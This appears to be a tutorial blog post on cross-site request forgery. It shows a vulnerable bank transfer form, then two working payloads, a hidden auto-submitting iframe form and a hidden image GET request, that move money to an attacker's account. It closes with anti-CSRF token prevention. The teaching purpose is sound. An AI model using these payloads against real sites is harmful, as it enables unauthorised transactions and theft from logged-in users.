Cross-Site Request Forgery (CSRF)

Cross-site request forgery (CSRF or XSRF) is a type of attack which forces an user to execute unwanted actions on a web application in which he is currently authenticated.

The key concept of CSRF is that the malicious requests are routed to the vulnerable web application through the victim’s browser. Websites, indeed, cannot distinguish if the requests coming from authenticated users have been originated by an explicit user interaction or not.

Examples

The following is a snippet of a vulnerable application form:

<form class="form-signin" method="post">
    <h3 class="form-signin-heading">Transfer money</h3>
    <label for="inputUser" class="sr-only">Recipient</label>
    <input type="text" id="inputUser" name="to" class="form-control" placeholder="Recipient" required autofocus>
    <label for="inputAmount" class="sr-only">Amount</label>
    <input type="number" id="inputAmount" name="amt" class="form-control" placeholder="Amount" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">Confirm</button>
</form>

When an authenticated user clicks on the confirm button, the POST variables amt and to are sent to the account.php page.

The goal of an attacker is to force an authenticated user to execute a request on account.php with arbitrary values on the amt and to variables. Such attack can be achieved by tricking the authenticated user into visiting a malicious page which automatically instruct the user’s browser to execute the forged request, as in the example below.

cat.html:

<html><body>
	<iframe style="display: none" src="evil.html"></iframe>
	<img src="cat.jpg" alt="cat">
</body></html>

evil.html:

<html><body>
        <form name="evil" style="display: none" action="http://10.0.19.1/account.php" method="post">
                <input type="text" value="5000" name="amt">
                <input type="text" value="lavish" name="to">
                <input type="submit">
        </form>
        <script>document.evil.submit();</script>
</body></html>

Assuming that the user is still authenticated to the bank website, when he visits cat.html the malicious iframe evil.html is included in the page rendered by the browser. Notice that iframe contents remain hidden to the user due to the inline CSS rule. This page automatically submits a precompiled form to http://10.0.19.1/account.php performing an illicit money transfer to the account owned by the attacker (lavish in this case). Notice, in particular, that if the user is authenticated on the bank website, the corresponding authentication cookie will be attached to the malicious request that will be considered part of the authenticated session.

If the bank website allows variables to be submitted also via GET requests (e.g., using $_REQUEST instead of $_POST in the PHP application), the exploit is trivial since it simply requires the attacker to forge an URL containing the illicit values.

kitty.html:

<html><body>
        <img style="display: none" src="http://10.0.19.1/account.php?to=lavish&amt=5000" alt="pwnd">
        <img src="cat.jpg" alt="cat">
</body></html>

Javascript is not even needed :)

Prevention

The typical approach to prevent CSRF attacks is the use of session tokens. This method consist in generating a random challenge token that is associated with the user’s session. The random token is then included in each form involving sensitive operations. When the user submits one of these protected forms, the token is sent to the server and then compared against the stored token value associated with the current session. The server-side operation is allowed only if a match is found.

Taking this technique into consideration, the form of our bank website can rewritten including an anti-CSRF token.

<form class="form-signin" method="post">
    <h3 class="form-signin-heading">Transfer money</h3>
    <label for="inputUser" class="sr-only">Recipient</label>
    <input type="text" id="inputUser" name="to" class="form-control" placeholder="Recipient" required autofocus>
    <label for="inputAmount" class="sr-only">Amount</label>
    <input type="number" id="inputAmount" name="amt" class="form-control" placeholder="Amount" required>
    <input type="hidden" value="9GiKZU6HoR" name="csrf_token">
    <button class="btn btn-lg btn-primary btn-block" type="submit">Confirm</button>
</form>

The csrf_token value must be set by the website during the log-in phase and regenerated at each request for increased security. When using PHP, for example, the value can be saved in the $_SESSION associative array.

A comprehensive list of CSRF prevention measures is the OWASP CSRF Prevention Cheat Sheet.

Leave a Reply

Your email address will not be published. Required fields are marked *